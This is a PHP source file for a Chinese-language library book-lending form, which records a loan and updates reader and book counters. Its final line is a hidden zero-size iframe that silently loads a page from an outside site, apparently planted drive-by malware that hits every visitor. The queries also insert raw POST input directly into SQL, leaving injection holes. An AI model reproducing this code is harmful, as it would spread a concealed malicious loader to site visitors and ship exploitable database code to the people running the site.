jscl1.php

我不是乱码

<?php  //插入数据
include "../config.php";
?>

<?php
if(!empty($_POST[submit3]))
{
$no=$_POST["no"];
$bookname=$_POST["bookname"];
$category=$_POST["category"];
$department=$_POST["department"];
$readername=$_POST["readername"];
$phone=$_POST["phone"];
$lenddate=date("Y-m-d");
$shoulddate=date("Y-m-d",strtotime("$lenddate + 7 day"));

if(empty($no))
{ echo "<script language='javascript'>alert('图书编号不能为空');history.go(-1);</script>"; }

if(empty($readername))
{ echo "<script language='javascript'>alert('读者姓名不能为空');history.go(-1);</script>"; }

$s="select no from lendingbook where no='$no'";
$result=mysql_query($s);
$row=mysql_fetch_array($result);
if($row)
{
echo "<script language='javascript'>alert('此编号图书已借出，请重新输入！');window.location.href='js.php';</script>";
}
else
{
$sql="insert into bookmanagement.lendingbook(`id`,`no`,`bookname`,`category`,`department`,`readername`,`phone`,`lenddate`,`shoulddate`)values(null,'$no','$bookname','$category','$department','$readername','$phone','$lenddate','$shoulddate')";

$result=mysql_query($sql) or die (mysql_error());

//修改读者信息中的借书次数
$sql="update readerinfo set number=number+1 where readername='".$readername."'";
mysql_query($sql);

//修改图书信息中的借出次数和状态
$sql="update books set lendnumber=lendnumber+1,state='借出' where no='".$no."'";
mysql_query($sql);

if($result)
{
echo "<script language='javascript'>alert('借书操作成功！');window.location.href='js.php';</script>";
}
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>